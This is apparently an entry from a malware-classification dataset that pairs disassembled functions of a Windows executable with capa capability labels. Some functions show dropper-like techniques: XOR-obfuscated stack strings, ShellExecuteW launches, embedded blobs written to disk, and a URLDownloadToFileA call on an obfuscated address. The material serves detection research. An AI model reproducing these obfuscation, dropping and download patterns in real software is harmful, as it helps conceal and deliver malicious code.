joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000f590
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
test rcx, rcx
je 0x14000f6f9
cmp word [rcx], 0
je 0x14000f6f9
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movaps xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
mov qword [rbp], rax
mov dword [rbp - 0x60], 0x68
psrldq xmm0, 0xc
movd eax, xmm0
or eax, 1
mov dword [rbp - 0x24], eax
xor edi, edi
mov word [rbp - 0x20], di
lea rax, vtable.CVolCommonBaseWithMemManager.0
mov qword [rsp + 0x50], rax
lea rsi, vtable.CVolObject.0
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], rdi
lea r14, vtable.CVolMem.0
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], rdi
mov qword [rbp - 0x80], 0x40
mov rdx, rcx
lea rcx, [rsp + 0x50]
call fcn.1400108d0
mov rdx, qword [rsp + 0x68]
cmp qword [rsp + 0x78], rdi
cmove rdx, rdi
lea rax, [rbp - 0x78]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000f69b
mov ebx, edi
jmp 0x14000f6c3
mov edx, 0x1f4
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.USER32.dll_WaitForInputIdle]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
mov qword [rsp + 0x50], r14
mov rdx, qword [rsp + 0x68]
test rdx, rdx
je 0x14000f6e0
lea rcx, [rsp + 0x50]
mov r8, qword [rsp + 0x50]
call qword [r8 + 0x18]
mov qword [rsp + 0x68], rdi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x50], rsi
mov rax, rbx
jmp 0x14000f6fb
xor eax, eax
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000f750
Capabilities:
Accept command line arguments

Disassembly:
push rdi
push r14
sub rsp, 0x28
mov r14, rcx
call fcn.14000b4d0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
movzx edx, word [rax]
test dx, dx
je 0x14000f783
nop
cmp dx, 0x20
ja 0x14000f783
movzx edx, word [rax + 2]
add rax, 2
test dx, dx
jne 0x14000f770
movzx r8d, word [rax]
movzx ecx, r8w
cmp r8w, 0x22
jne 0x14000f796
movzx ecx, word [rax + 2]
mov edx, 0x22
lea rdi, [rax + 2]
mov r9d, 0x20
cmovne rdi, rax
cmovne dx, r9w
cmp cx, dx
je 0x14000f7c5
test cx, cx
je 0x14000f7ce
movzx ecx, word [rdi + 2]
add rdi, 2
cmp cx, dx
jne 0x14000f7b3
test cx, cx
je 0x14000f7ce
add rdi, 2
cmp r8w, 0x22
jne 0x14000f7df
cmp word [rdi], r9w
jne 0x14000f7df
add rdi, 2
movzx eax, word [rdi]
test ax, ax
je 0x14000f96e
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x20], r15
xor r15d, r15d
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rbp
cmp ax, 0x22
jne 0x14000f8b2
movzx eax, word [rdi + 2]
add rdi, 2
mov rsi, rdi
test ax, ax
je 0x14000f833
nop dword [rax]
cmp ax, 0x22
je 0x14000f833
movzx eax, word [rsi + 2]
add rsi, 2
test ax, ax
jne 0x14000f820
mov rbx, rsi
sub rbx, rdi
sar rbx, 1
test rbx, rbx
jle 0x14000f868
mov rax, qword [r14]
add rbx, rbx
mov rcx, r14
lea rdx, [rbx + 2]
call qword [rax]
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.1400167b0
mov word [rbx + rbp], r15w
jmp 0x14000f86b
mov rbp, r15
mov rbx, qword [r14 + 0x30]
lea rcx, [r14 + 8]
mov rax, qword [rcx + 0x20]
sub rax, rbx
cmp rax, 8
jl 0x14000f88f
mov rax, qword [rcx + 0x18]
mov qword [rbx + rax], rbp
add qword [rcx + 0x28], 8
jmp 0x14000f89c
lea rdx, [rbx + 8]
call fcn.140010780
mov qword [rax + rbx], rbp
mov rdi, rsi
cmp word [rsi], r15w
je 0x14000f94e
lea rdi, [rsi + 2]
jmp 0x14000f94e
cmp ax, 0x20
jbe 0x14000f94a
mov rsi, rdi
nop
cmp ax, 0x22
je 0x14000f8d9
cmp ax, 0x20
jbe 0x14000f8d9
movzx eax, word [rsi + 2]
add rsi, 2
test ax, ax
jne 0x14000f8c0
mov rbx, rsi
sub rbx, rdi
sar rbx, 1
test rbx, rbx
jle 0x14000f90e
mov rax, qword [r14]
add rbx, rbx
mov rcx, r14
lea rdx, [rbx + 2]
call qword [rax]
mov r8, rbx
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.1400167b0
mov word [rbx + rbp], r15w
jmp 0x14000f911
mov rbp, r15
mov rbx, qword [r14 + 0x30]
lea rcx, [r14 + 8]
mov rax, qword [rcx + 0x20]
sub rax, rbx
cmp rax, 8
jl 0x14000f938
mov rax, qword [rcx + 0x18]
mov rdi, rsi
mov qword [rbx + rax], rbp
add qword [rcx + 0x28], 8
jmp 0x14000f94e
lea rdx, [rbx + 8]
call fcn.140010780
mov rdi, rsi
mov qword [rax + rbx], rbp
jmp 0x14000f94e
add rdi, 2
movzx eax, word [rdi]
test ax, ax
jne 0x14000f802
mov r15, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x40]
mov rax, qword [r14 + 0x30]
shr rax, 3
add rsp, 0x28
pop r14
pop rdi
ret
Function at 0x140016efc
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140016d8f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140016d8f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140016d8f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140016d8f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140016d8f
cmp dword [rcx + 0x84], 0xe
jbe 0x140016d8f
cmp dword [rcx + 0xf8], 0
je 0x140016d8f
mov ecx, ebx
call fcn.140016e30
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140016c20
cmp dword [rbp + 0x20], 0
je 0x140016ddc
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140016de4
int3
xor r8d, r8d
xor edx, edx
jmp 0x140016d28
Function at 0x14000b9ac
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b730
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba02
mov ecx, 1
call fcn.14000b730
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
xor al, 0x95
fmul dword [rax]
hlt
Function at 0x140027de0
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.14001b784
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.14001b784
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140027f30
cmp rax, 0xffffffffffffffff
je 0x140027f30
xor edi, edi
test rbp, rbp
jle 0x140027edb
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14001dd70
mov rbx, rax
test rax, rax
jne 0x140027e68
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140027ed1
mov edx, 0x8000
mov ecx, r14d
call fcn.140015928
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14001c460
cmp eax, 0xffffffff
je 0x140027eb1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140027e78
mov edx, r15d
mov ecx, r14d
call fcn.140015928
jmp 0x140027ed1
cmp byte [rsi + 0x38], dil
je 0x140027ec8
cmp dword [rsi + 0x34], 5
jne 0x140027ec8
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140027ed1
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140019e48
jmp 0x140027f44
jns 0x140027f44
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.14001b784
cmp rax, 0xffffffffffffffff
jne 0x140027efc
cmp byte [rsi + 0x30], dil
je 0x140027f44
mov edi, dword [rsi + 0x2c]
jmp 0x140027f44
mov ecx, r14d
call fcn.140016f28
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140027f44
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140027f44
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140027f3d
mov eax, dword [rsi + 0x2c]
jmp 0x140027f42
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.14001b784
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1400018bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140001908
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140001900
cmp dword [rcx + 0x3c], edx
jl 0x140001900
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140001900
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140001908
mov rax, rdx
add rsp, 0x18
ret

Function at 0x14000b000
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x38
and rsp, 0xfffffffffffffff0
movabs rcx, 0x14000b062
movabs rax, sym.imp.KERNEL32.dll_LoadLibraryA
call qword [rax]
movabs rdx, 0x14000b06b
mov rcx, rax
movabs rax, sym.imp.SHELL32.dll_ShellExecuteW
call qword [rax]
xor ecx, ecx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov r9, rcx
movabs r8, 0x14000b078
mov rdx, rcx
call rax
leave
jmp fcn.140001830
Function at 0x140001280
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rcx
xor edx, edx
mov ecx, 0x5c
call fcn.140001270
lea edx, [rcx - 0x5b]
mov word [rsp + 0x40], ax
call fcn.140001270
lea ecx, [rdx + 0x2d]
mov word [rsp + 0x42], ax
lea edx, [rcx - 0x2c]
call fcn.140001270
lea ecx, [rdx + 0x5a]
mov word [rsp + 0x44], ax
lea edx, [rcx - 0x59]
call fcn.140001270
lea ecx, [rdx + 0x42]
mov word [rsp + 0x46], ax
lea edx, [rcx - 0x41]
call fcn.140001270
lea ecx, [rdx + 0x45]
mov word [rsp + 0x48], ax
lea edx, [rcx - 0x44]
call fcn.140001270
lea ecx, [rdx + 0x4c]
mov word [rsp + 0x4a], ax
lea edx, [rcx - 0x4b]
call fcn.140001270
lea ecx, [rdx + 0x3e]
mov word [rsp + 0x4c], ax
lea edx, [rcx - 0x3d]
call fcn.140001270
lea ecx, [rdx + 0x4f]
mov word [rsp + 0x4e], ax
lea edx, [rcx - 0x4e]
call fcn.140001270
xor ecx, ecx
mov word [rsp + 0x50], ax
lea edx, [rcx + 9]
call fcn.140001270
lea edx, [rcx + 0xa]
mov word [rsp + 0x52], ax
movzx ecx, word [0x14004407c]
call fcn.140001270
movzx ecx, word [0x14004407e]
mov edx, 0xb
mov word [rsp + 0x54], ax
call fcn.140001270
movzx ecx, word [0x140044080]
mov edx, 0xc
mov word [rsp + 0x56], ax
call fcn.140001270
movzx ecx, word [0x140044082]
mov edx, 0xd
mov word [rsp + 0x58], ax
call fcn.140001270
movzx ecx, word [0x140044084]
mov edx, 0xe
mov word [rsp + 0x5a], ax
call fcn.140001270
movzx ecx, word [0x140044086]
mov edx, 0xf
mov word [rsp + 0x5c], ax
call fcn.140001270
movzx ecx, word [str.Unknown_exception]
mov edx, 0x10
mov word [rsp + 0x5e], ax
call fcn.140001270
movzx ecx, word [0x14004408a]
mov edx, 0x11
mov word [rsp + 0x60], ax
call fcn.140001270
movzx ecx, word [0x14004408c]
mov edx, 0x12
mov word [rsp + 0x62], ax
call fcn.140001270
mov word [rsp + 0x64], ax
mov r9d, 0x133
xor eax, eax
mov word [rsp + 0x66], ax
xor r10d, r10d
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x40]
lea rdx, [rdx + rcx*2]
lea ecx, [r9 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140001410
mov qword [rsp + 0x30], r10
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r10d
mov edx, 0xc0000000
mov word [rsp + 0x66], r10w
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000f740
add rsp, 0x70
pop rbx
ret
Function at 0x140003e20
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rsp + 0x48], rax
cmp qword [rdx + 0x18], 8
mov rbx, rdx
mov rdi, rcx
mov r9, rdx
jb 0x140003e51
mov r9, qword [rdx]
cmp qword [rcx + 0x18], 8
mov r8, rdi
jb 0x140003e5e
mov r8, qword [rcx]
mov ecx, 0x72
xor edx, edx
call fcn.140001270
lea ecx, [rdx + 0x75]
mov word [rsp + 0x30], ax
lea edx, [rcx - 0x74]
call fcn.140001270
lea ecx, [rdx + 0x6d]
mov word [rsp + 0x32], ax
lea edx, [rcx - 0x6c]
call fcn.140001270
lea ecx, [rdx + 0x5f]
mov word [rsp + 0x34], ax
lea edx, [rcx - 0x5e]
call fcn.140001270
lea ecx, [rdx + 0x70]
mov word [rsp + 0x36], ax
lea edx, [rcx - 0x6f]
call fcn.140001270
xor ecx, ecx
mov word [rsp + 0x38], ax
lea edx, [rcx + 5]
call fcn.140001270
lea edx, [rcx + 6]
mov word [rsp + 0x3a], ax
movzx ecx, word [0x14004424c]
call fcn.140001270
movzx ecx, word [0x14004424e]
mov edx, 7
mov word [rsp + 0x3c], ax
call fcn.140001270
movzx ecx, word [str..sys]
mov edx, 8
mov word [rsp + 0x3e], ax
call fcn.140001270
movzx ecx, word [0x140044252]
mov edx, 9
mov word [rsp + 0x40], ax
call fcn.140001270
movzx ecx, word [0x140044254]
mov edx, 0xa
mov word [rsp + 0x42], ax
call fcn.140001270
mov word [rsp + 0x44], ax
mov r10d, 0x133
xor eax, eax
mov word [rsp + 0x46], ax
xor esi, esi
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x30]
lea rdx, [rdx + rcx*2]
lea ecx, [r10 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0xb
jb 0x140003f40
mov dword [rsp + 0x28], esi
lea rdx, [rsp + 0x30]
xor ecx, ecx
mov qword [rsp + 0x20], rsi
mov word [rsp + 0x46], si
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x140003fb0
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140003fab
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004026
mov rcx, r8
call fcn.14000fc20
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], 7
mov word [rdi], si
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140003ffa
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140003ff5
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004026
mov rcx, r8
call fcn.14000fc20
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000f740
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
call fcn.140018eb8
int3
Function at 0x140004030
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 8
mov dword [rsp + 0x40], ebp
jb 0x140004052
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x1400040e6
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x1400040c5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400040c0
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004192
mov rcx, r8
call fcn.14000fc20
mov al, 1
mov rsi, qword [rsp + 0x78]
mov word [rdi], bp
mov qword [rdi + 0x10], rbp
mov rbp, qword [rsp + 0x70]
mov qword [rdi + 0x18], 7
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x140004100
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x140004174
lea rdx, [rdx*2 + 2]
jmp 0x14000414b
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 0x41200
mov qword [rsp + 0x20], rbp
lea rdx, [0x14004d0b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x14000417b
cmp rax, 8
jb 0x140004174
lea rdx, [rax*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x14000416f
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004192
mov rcx, r8
call fcn.14000fc20
xor al, al
jmp 0x1400040c7
cmp rax, 8
jb 0x1400040c5
lea rdx, [rax*2 + 2]
jmp 0x140004098
call fcn.140018eb8
int3
Function at 0x1400041a0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
xor ebp, ebp
mov rdi, rcx
cmp qword [rcx + 0x18], 8
mov dword [rsp + 0x40], ebp
jb 0x1400041c2
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140004256
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x140004235
lea rdx, [rdx*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x140004230
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004302
mov rcx, r8
call fcn.14000fc20
mov al, 1
mov rsi, qword [rsp + 0x78]
mov word [rdi], bp
mov qword [rdi + 0x10], rbp
mov rbp, qword [rsp + 0x70]
mov qword [rdi + 0x18], 7
add rsp, 0x50
pop rdi
ret
cmp rsi, 0xffffffffffffffff
jne 0x140004270
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x1400042e4
lea rdx, [rdx*2 + 2]
jmp 0x1400042bb
lea r9, [rsp + 0x40]
mov qword [rsp + 0x68], rbx
mov r8d, 0x2400
mov qword [rsp + 0x20], rbp
lea rdx, [0x14004acb0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rdi + 0x18]
test bl, bl
mov rbx, qword [rsp + 0x68]
jne 0x1400042eb
cmp rax, 8
jb 0x1400042e4
lea rdx, [rax*2 + 2]
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1400042df
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140004302
mov rcx, r8
call fcn.14000fc20
xor al, al
jmp 0x140004237
cmp rax, 8
jb 0x140004235
lea rdx, [rax*2 + 2]
jmp 0x140004208
call fcn.140018eb8
int3
Function at 0x140005730
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
push r14
mov r14, rcx
mov rsi, r8
mov rbp, rdx
sub r14, qword [r8 + 0x30]
je 0x1400058b2
test byte [r8 + 0x5e], 0x40
jne 0x14000575d
xor eax, eax
mov rbp, qword [rsp + 0x30]
pop r14
pop rsi
ret
movzx eax, word [rsi + 0x14]
lea rdx, [rsi + 0x18]
mov r8d, dword [r8 + 0xb0]
add rdx, rax
movzx eax, word [rsi + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
cmp rdx, r9
jae 0x1400058b2
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140005796
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1400057ad
add rdx, 0x28
cmp rdx, r9
jb 0x140005784
mov eax, 1
mov rbp, qword [rsp + 0x30]
pop r14
pop rsi
ret
mov qword [rsp + 0x18], rbx
mov ebx, dword [rdx + 0x14]
sub rbx, rcx
mov qword [rsp + 0x28], r15
mov r15d, dword [rsi + 0xb4]
add rbx, r8
add rbx, rbp
add r15, rbx
test rbx, rbx
je 0x1400058a8
cmp rbx, r15
jae 0x1400058a8
mov qword [rsp + 0x20], rdi
mov eax, dword [rbx + 4]
test eax, eax
je 0x1400058a3
lea ecx, [rax - 8]
shr ecx, 1
je 0x140005897
lea r11, [rbx + 8]
mov edi, ecx
movzx r8d, word [r11]
movzx eax, r8w
shr ax, 0xc
and r8d, 0x80000fff
jge 0x140005822
dec r8d
or r8d, 0xfffff000
inc r8d
cmp ax, 3
je 0x14000582e
cmp ax, 0xa
jne 0x140005886
movzx eax, word [rsi + 0x14]
movzx ecx, word [rsi + 6]
add rax, 0x18
mov r9d, dword [rbx]
add rax, rsi
lea rdx, [rcx + rcx*4]
lea r10, [rax + rdx*8]
cmp rax, r10
jae 0x14000587b
nop dword [rax]
mov edx, dword [rax + 0xc]
cmp r9, rdx
jb 0x140005862
mov ecx, dword [rax + 8]
add ecx, edx
cmp r9, rcx
jb 0x14000586d
add rax, 0x28
cmp rax, r10
jb 0x140005850
jmp 0x14000587b
mov ecx, dword [rax + 0x14]
sub rcx, rdx
add rcx, r9
add rcx, rbp
jne 0x14000587e
mov rcx, rbp
movzx eax, r8w
add qword [rax + rcx], r14
add r11, 2
sub rdi, 1
jne 0x140005800
mov eax, dword [rbx + 4]
add rbx, rax
cmp rbx, r15
jb 0x1400057e4
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x18]
mov r15, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
mov eax, 1
pop r14
pop rsi
ret
Function at 0x140007f90
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [0x14004a040]
xor rax, rsp
mov qword [rbp + 0x47], rax
movdqa xmm0, xmmword [0x140044400]
movdqa xmmword [rbp - 0x19], xmm0
movdqa xmm1, xmmword [0x1400443f0]
movdqa xmmword [rbp - 9], xmm1
movdqa xmm0, xmmword [0x140044420]
movdqa xmmword [rbp + 7], xmm0
movdqa xmm1, xmmword [0x140044410]
movdqa xmmword [rbp + 0x17], xmm1
movdqa xmm0, xmmword [0x1400443d0]
movdqa xmmword [rbp + 0x27], xmm0
mov dword [rbp + 0x37], 0x92989598
mov dword [rbp + 0x3b], 0x65746966
mov dword [rbp + 0x3f], 0x6b622b6c
mov word [rbp + 0x43], 0x64
mov byte [rbp + 0x45], 1
xor ebx, ebx
mov eax, ebx
nop dword [rax]
nop dword [rax + rax]
lea ecx, [rax - 0x54]
xor byte [rbp + rax - 0x19], cl
inc rax
cmp rax, 0x5d
jb 0x140008020
mov byte [rbp + 0x45], bl
mov qword [rbp - 0x39], rbx
mov qword [rbp - 0x29], rbx
mov qword [rbp - 0x21], 0xf
mov byte [rbp - 0x39], bl
lea rax, [rbp - 0x19]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], bl
jne 0x140008051
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x39]
call fcn.140009900
nop
mov qword [rbp - 0x59], rbx
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], 0xf
mov r8d, 0x31
lea rdx, [0x140044298]
lea rcx, [rbp - 0x59]
call fcn.140009900
lea r8, [rbp - 0x59]
cmp qword [rbp - 0x41], 0x10
cmovae r8, qword [rbp - 0x59]
lea rdx, [rbp - 0x39]
cmp qword [rbp - 0x21], 0x10
cmovae rdx, qword [rbp - 0x39]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rdx, qword [rbp - 0x41]
cmp rdx, 0x10
jb 0x1400080f1
inc rdx
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400080ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000815b
call fcn.14000fc20
mov qword [rbp - 0x49], rbx
mov qword [rbp - 0x41], 0xf
mov byte [rbp - 0x59], 0
mov rdx, qword [rbp - 0x21]
cmp rdx, 0x10
jb 0x140008138
inc rdx
mov rcx, qword [rbp - 0x39]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008133
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140008155
call fcn.14000fc20
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14000f740
mov rbx, qword [rsp + 0xf0]
add rsp, 0xe0
